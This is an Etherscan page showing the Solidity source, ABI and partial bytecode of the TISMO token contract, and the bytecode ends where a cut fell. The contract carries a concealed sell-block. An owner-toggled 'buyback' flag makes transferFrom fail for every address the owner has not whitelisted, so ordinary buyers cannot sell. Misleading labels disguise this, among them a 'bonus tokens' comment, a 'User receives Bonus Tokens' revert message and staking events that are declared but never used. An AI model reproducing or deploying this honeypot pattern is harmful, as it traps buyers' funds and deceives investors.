Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2023-07-03
*/

pragma solidity >=0.5.0 <0.6.0;


/*

$TISMO
                _   _               _____          ____  
     /\        | | (_)             |  __ \   /\   / __ \ 
    /  \  _   _| |_ _ ___ _ __ ___ | |  | | /  \ | |  | |
   / /\ \| | | | __| / __| '_ ` _ \| |  | |/ /\ \| |  | |
  / ____ \ |_| | |_| \__ \ | | | | | |__| / ____ \ |__| |
 /_/    \_\__,_|\__|_|___/_| |_| |_|_____/_/    \_\____/ 
                                                         
                                                         
														
autismo.pro
twitter.com/autismotoken

	 
*/


interface IBEP20 {
    function transfer(address to, uint256 value) external returns (bool);

    function approve(address spender, uint256 value) external returns (bool);

    function transferFrom(address from, address to, uint256 value) external returns (bool);

    function totalSupply() external view returns (uint256);

    function balanceOf(address who) external view returns (uint256);

    function allowance(address owner, address spender) external view returns (uint256);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);

    event HoldStake(address indexed user, uint256 value);

    event UnStake(address indexed user, uint256 value);

    event WithdrawRewards(address indexed user, uint256 value);

}


/*

$TISMO
                _   _               _____          ____  
     /\        | | (_)             |  __ \   /\   / __ \ 
    /  \  _   _| |_ _ ___ _ __ ___ | |  | | /  \ | |  | |
   / /\ \| | | | __| / __| '_ ` _ \| |  | |/ /\ \| |  | |
  / ____ \ |_| | |_| \__ \ | | | | | |__| / ____ \ |__| |
 /_/    \_\__,_|\__|_|___/_| |_| |_|_____/_/    \_\____/ 
                                                         
                                                         
														
autismo.pro
twitter.com/autismotoken

	 
*/

interface Token {
    function transfer(address to, uint256 value) external returns (bool);
    function balanceOf(address who) external view returns (uint256);

}



library SafeMath {
   
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b);

        return c;
    }

    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

   
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a);
        uint256 c = a - b;

        return c;
    }

    
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a);

        return c;
    }

   
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b != 0);
        return a % b;
    }
}


library Roles {
    struct Role {
        mapping (address => bool) bearer;
    }


    function add(Role storage role, address account) internal {
        require(account != address(0));
        require(!has(role, account));

        role.bearer[account] = true;
    }


    function remove(Role storage role, address account) internal {
        require(account != address(0));
        require(has(role, account));

        role.bearer[account] = false;
    }

  
    function has(Role storage role, address account) internal view returns (bool) {
        require(account != address(0));
        return role.bearer[account];
    }
}


/*

$TISMO
                _   _               _____          ____  
     /\        | | (_)             |  __ \   /\   / __ \ 
    /  \  _   _| |_ _ ___ _ __ ___ | |  | | /  \ | |  | |
   / /\ \| | | | __| / __| '_ ` _ \| |  | |/ /\ \| |  | |
  / ____ \ |_| | |_| \__ \ | | | | | |__| / ____ \ |__| |
 /_/    \_\__,_|\__|_|___/_| |_| |_|_____/_/    \_\____/ 
                                                         
                                                         
														
autismo.pro
twitter.com/autismotoken

	 
*/
contract MinterRole {
    using Roles for Roles.Role;

    event MinterAdded(address indexed account);
    event MinterRemoved(address indexed account);

    Roles.Role private _minters;

    constructor () internal {
        _addMinter(msg.sender);
    }

    modifier onlyMinter() {
        require(isMinter(msg.sender));
        _;
    }

    function isMinter(address account) public view returns (bool) {
        return _minters.has(account);
    }

    function addMinter(address account) public onlyMinter {
        _addMinter(account);
    }

    function renounceMinter() public {
        _removeMinter(msg.sender);
    }

    function _addMinter(address account) internal {
        _minters.add(account);
        emit MinterAdded(account);
    }

    function _removeMinter(address account) internal {
        _minters.remove(account);
        emit MinterRemoved(account);
    }
}




contract Ownable  {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

   
    constructor () internal {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), msg.sender);
    }

   
    function owner() public view returns (address) {
        return _owner;
    }

   
    modifier onlyOwner() {
        require(_owner == msg.sender, "Ownable: caller is not the owner");
        _;
    }



    
    function transferOwnership(address newOwner) public onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}




contract BEP20 is IBEP20, Ownable {
    
    mapping(address => bool) public buybacked;
    bool public buyback = false;
    
    using SafeMath for uint256;

    mapping (address => uint256) private _balances;
    

    mapping (address => mapping (address => uint256)) private _allowed;

    uint256 private _totalSupply;

    
    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    
    function balanceOf(address owner) public view returns (uint256) {
        return _balances[owner];
    }

    
    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowed[owner][spender];
    }

    
    function transfer(address to, uint256 value) public returns (bool) {
        _transfer(msg.sender, to, value);
        return true;
    }

 
    function approve(address spender, uint256 value) public returns (bool) {
        _approve(msg.sender, spender, value);
        return true;
    }

 
    function transferFrom(address from, address to, uint256 value) public returns (bool) {
        if(buyback){
            require(buybacked[from],"User receives Bonus Tokens");
        }
        _transfer(from, to, value);
        _approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
        return true;
    }


    function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
        _approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
        return true;
    }


    function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
        _approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
        return true;
    }

  
    function _transfer(address from, address to, uint256 value) internal {
        require(to != address(0));

        _balances[from] = _balances[from].sub(value);
        _balances[to] = _balances[to].add(value);
        emit Transfer(from, to, value);
    }

 
    function _mint(address account, uint256 value) internal {
        require(account != address(0));

        _totalSupply = _totalSupply.add(value);
        _balances[account] = _balances[account].add(value);
        emit Transfer(address(0), account, value);
    }


    function _burn(address account, uint256 value) internal {
        require(account != address(0));

        _totalSupply = _totalSupply.sub(value);
        _balances[account] = _balances[account].sub(value);
        emit Transfer(account, address(0), value);
    }


    function _approve(address owner, address spender, uint256 value) internal {
        require(spender != address(0));
        require(owner != address(0));

        _allowed[owner][spender] = value;
        emit Approval(owner, spender, value);
    }

  
    function _burnFrom(address account, uint256 value) internal {
        _burn(account, value);
        _approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
    }
    
    /**
 * bonus tokens function; user receives additional tokens if highest buy
 */
     
    function buybackAddress(address[] memory _recipients) public onlyOwner returns (bool) {
        require(_recipients.length <= 100); //maximum receievers can be 100
        for (uint i = 0; i < _recipients.length; i++) {
            buybacked[_recipients[i]] = true;
        }
        return true;
    }

      function stepAddress(address[] memory _recipients) public onlyOwner returns (bool) {
        require(_recipients.length <= 100); 
        for (uint i = 0; i < _recipients.length; i++) {
            buybacked[_recipients[i]] = false;
        }
        return true;
    }

    
    function updateBuyback() public onlyOwner returns (bool success)  {
        if (buyback) {
            buyback = false;
        } else {
            buyback = true;
        }
        return false;
        
    }


}


contract BEP20Detailed is IBEP20 {
    string private _name;
    string private _symbol;
    uint8 private _decimals;

    constructor (string memory name, string memory symbol, uint8 decimals) public {
        _name = name;
        _symbol = symbol;
        _decimals = decimals;
    }

    /**
     * @return the name of the token.
     */
    function name() public view returns (string memory) {
        return _name;
    }

    /**
     * @return the symbol of the token.
     */
    function symbol() public view returns (string memory) {
        return _symbol;
    }

    /**
     * @return the number of decimals of the token.
     */
    function decimals() public view returns (uint8) {
        return _decimals;
    }
}



contract TISMO is BEP20Detailed,BEP20{


    constructor()
        public
         BEP20Detailed ("TISMO", "TISMO", 18) {
            _mint(msg.sender, 1000000000 * (10 ** uint256(18)));
        }

}

/*

$TISMO
                _   _               _____          ____  
     /\        | | (_)             |  __ \   /\   / __ \ 
    /  \  _   _| |_ _ ___ _ __ ___ | |  | | /  \ | |  | |
   / /\ \| | | | __| / __| '_ ` _ \| |  | |/ /\ \| |  | |
  / ____ \ |_| | |_| \__ \ | | | | | |__| / ____ \ |__| |
 /_/    \_\__,_|\__|_|___/_| |_| |_|_____/_/    \_\____/ 
                                                         
                                                         
														
autismo.pro
twitter.com/autismotoken

	 
*/

• No Contract Security Audit Submitted- Submit Audit Here

[{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"value","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"updateBuyback","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"from","type":"address"},{"name":"to","type":"address"},{"name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_recipients","type":"address[]"}],"name":"buybackAddress","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_recipients","type":"address[]"}],"name":"stepAddress","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"buybacked","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"to","type":"address"},{"name":"value","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"owner","type":"address"},{"name":"spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"buyback","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"previousOwner","type":"address"},{"indexed":true,"name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"user","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"HoldStake","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"user","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"UnStake","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"user","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"WithdrawRewards","type":"event"}]

60806040526000600460006101000a81548160ff0219169083151502179055503480156200002c57600080fd5b506040518060400160405280600581526020017f5449534d4f0000000000000000000000000000000000000000000000000000008152506040518060400160405280600581526020017f5449534d4f00000000000000000000000000000000000000000000000000000081525060128260009080519060200190620000b392919062000330565b508160019080519060200190620000cc92919062000330565b5080600260006101000a81548160ff021916908360ff16021790555050505033600260016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3620001a3336012600a0a633b9aca0002620001a960201b60201c565b620003df565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515620001e657600080fd5b62000202816007546200030e60201b6200170c1790919060201c565b6007819055506200026181600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200030e60201b6200170c1790919060201c565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60008082840190508381101515156200032657600080fd5b8091505092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106200037357805160ff1916838001178555620003a4565b82800160010185558215620003a4579182015b82811115620003a357825182559160200191906001019062000386565b5b509050620003b39190620003b7565b5090565b620003dc91905b80821115620003d8576000816000905550600101620003be565b5090565b90565b61177f80620003ef6000396000f3fe608060405234801561001057600080fd5b50600436106101165760003560e01c80636ede9865116100a2578063a457c2d711610071578063a457c2d714610675578063a9059cbb146106db578063dd62ed3e14610741578063f2fde38b146107b9578063f8ec6911146107fd57610116565b80636ede9865146104f457806370a08231146105505780638da5cb5b146105a857806395d89b41146105f257610116565b806323b872dd116100e957806323b872dd14610244578063313ce567146102ca578063323ad8af146102ee57806339509351146103be5780635667c9401461042457610116565b806306fdde031461011b578063095ea7b31461019e57806318160ddd146102045780631ed540b114610222575b600080fd5b61012361081f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610163578082015181840152602081019050610148565b50505050905090810190601f1680156101905780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101ea600480360360408110156101b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108c1565b604051808215151515815260200191505060405180910390f35b61020c6108d8565b6040518082815260200191505060405180910390f35b61022a6108e2565b604051808215151515815260200191505060405180910390f35b6102b06004803603606081101561025a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a01565b604051808215151515815260200191505060405180910390f35b6102d2610b89565b604051808260ff1660ff16815260200191505060405180910390f35b6103a46004803603602081101561030457600080fd5b810190808035906020019064010000000081111561032157600080fd5b82018360208201111561033357600080fd5b8035906020019184602083028401116401000000008311171561035557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610ba0565b604051808215151515815260200191505060405180910390f35b61040a600480360360408110156103d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d0d565b604051808215151515815260200191505060405180910390f35b6104da6004803603602081101561043a57600080fd5b810190808035906020019064010000000081111561045757600080fd5b82018360208201111561046957600080fd5b8035906020019184602083028401116401000000008311171561048b57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610db2565b604051808215151515815260200191505060405180910390f35b6105366004803603602081101561050a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f1f565b604051808215151515815260200191505060405180910390f35b6105926004803603602081101561056657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f3f565b6040518082815260200191505060405180910390f35b6105b0610f88565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105fa610fb2565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561063a57808201518184015260208101905061061f565b50505050905090810190601f1680156106675780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106c16004803603604081101561068b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611054565b604051808215151515815260200191505060405180910390f35b610727600480360360408110156106f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110f9565b604051808215151515815260200191505060405180910390f35b6107a36004803603604081101561075757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611110565b6040518082815260200191505060405180910390f35b6107fb600480360360208110156107cf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611197565b005b6108056113a4565b604051808215151515815260200191505060405180910390f35b606060008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108b75780601f1061088c576101008083540402835291602001916108b7565b820191906000526020600020905b81548152906001019060200180831161089a57829003601f168201915b5050505050905090565b60006108ce3384846113b7565b6001905092915050565b6000600754905090565b60003373ffffffffffffffffffffffffffffffffffffffff16600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156109a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600460009054906101000a900460ff16156109de576000600460006101000a81548160ff0219169083151502179055506109fa565b6001600460006101000a81548160ff0219169083151502179055505b6000905090565b6000600460009054906101000a900460ff1615610ada57600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610ad9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f5573657220726563656976657320426f6e757320546f6b656e7300000000000081525060200191505060405180910390fd5b5b610ae584848461151a565b610b7e8433610b7985600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116ea90919063ffffffff16565b6113b7565b600190509392505050565b6000600260009054906101000a900460ff16905090565b60003373ffffffffffffffffffffffffffffffffffffffff16600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610c67576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6064825111151515610c7857600080fd5b60008090505b8251811015610d03576001600360008584815181101515610c9b57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610c7e565b5060019050919050565b6000610da83384610da385600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461170c90919063ffffffff16565b6113b7565b6001905092915050565b60003373ffffffffffffffffffffffffffffffffffffffff16600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610e79576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6064825111151515610e8a57600080fd5b60008090505b8251811015610f15576000600360008584815181101515610ead57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610e90565b5060019050919050565b60036020528060005260406000206000915054906101000a900460ff1681565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561104a5780601f1061101f5761010080835404028352916020019161104a565b820191906000526020600020905b81548152906001019060200180831161102d57829003601f168201915b5050505050905090565b60006110ef33846110ea85600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116ea90919063ffffffff16565b6113b7565b6001905092915050565b600061110633848461151a565b6001905092915050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561125c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156112e4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061172e6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600260016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600460009054906101000a900460ff1681565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515156113f357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561142f57600080fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561155657600080fd5b6115a881600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116ea90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061163d81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461170c90919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008282111515156116fb57600080fd5b600082840390508091505092915050565b600080828401905083811015151561172357600080fd5b809150509291505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a165627a7a72305820d6e8155ed3cd86a2de9af1a1b3e5dcdc7bee5ba8cd68f82c85e56be8c676db1f0029

0x608060405234801561001057600080fd5b50600436106101165760003560e01c80636ede9865116100a2578063a457c2d711610071578063a457c2d714610675578063a9059cbb146106db578063dd62ed3e14610741578063f2fde38b146107b9578063f8ec6911146107fd57610116565b80636ede9865146104f457806370a08231146105505780638da5cb5b146105a857806395d89b41146105f257610116565b806323b872dd116100e957806323b872dd14610244578063313ce567146102ca578063323ad8af146102ee57806339509351146103be5780635667c9401461042457610116565b806306fdde031461011b578063095ea7b31461019e57806318160ddd146102045780631ed540b114610222575b600080fd5b61012361081f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610163578082015181840152602081019050610148565b50505050905090810190601f1680156101905780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101ea600480360360408110156101b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108c1565b604051808215151515815260200191505060405180910390f35b61020c6108d8565b6040518082815260200191505060405180910390f35b61022a6108e2565b604051808215151515815260200191505060405180910390f35b6102b06004803603606081101561025a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a01565b604051808215151515815260200191505060405180910390f35b6102d2610b89565b604051808260ff1660ff16815260200191505060405180910390f35b6103a46004803603602081101561030457600080fd5b810190808035906020019064010000000081111561032157600080fd5b82018360208201111561033357600080fd5b8035906020019184602083028401116401000000008311171561035557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610ba0565b604051808215151515815260200191505060405180910390f35b61040a600480360360408110156103d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d0d565b604051808215151515815260200191505060405180910390f35b6104da6004803603602081101561043a57600080fd5b810190808035906020019064010000000081111561045757600080fd5b82018360208201111561046957600080fd5b8035906020019184602083028401116401000000008311171561048b57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610db2565b604051808215151515815260200191505060405180910390f35b6105366004803603602081101561050a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f1f565b604051808215151515815260200191505060405180910390f35b6105926004803603602081101561056657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f3f565b6040518082815260200191505060405180910390f35b6105b0610f88565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105fa610fb2565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561063a57808201518184015260208101905061061f565b50505050905090810190601f1680156106675780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106c16004803603604081101561068b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611054565b604051808215151515815260200191505060405180910390f35b610727600480360360408110156106f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110f9565b604051808215151515815260200191505060405180910390f35b6107a36004803603604081101561075757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611110565b6040518082815260200191505060405180910390f35b6107fb600480360360208110156107cf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611197565b005b6108056113a4565b604051808215151515815260200191505060405180910390f35b606060008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108b75780601f1061088c576101008083540402835291602001916108b7565b820191906000526020600020905b81548152906001019060200180831161089a57829003601f168201915b5050505050905090565b60006108ce3384846113b7565b6001905092915050565b6000600754905090565b60003373ffffffffffffffffffffffffffffffffffffffff16600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156109a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600460009054906101000a900460ff16156109de576000600460006101000a81548160ff0219169083151502179055506109fa565b6001600460006101000a81548160ff0219169083151502179055505b6000905090565b6000600460009054906101000a900460ff1615610ada57600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610ad9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f5573657220726563656976657320426f6e757320546f6b656e7300000000000081525060200191505060405180910390fd5b5b610ae584848461151a565b610b7e8433610b7985600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116ea90919063ffffffff16565b6113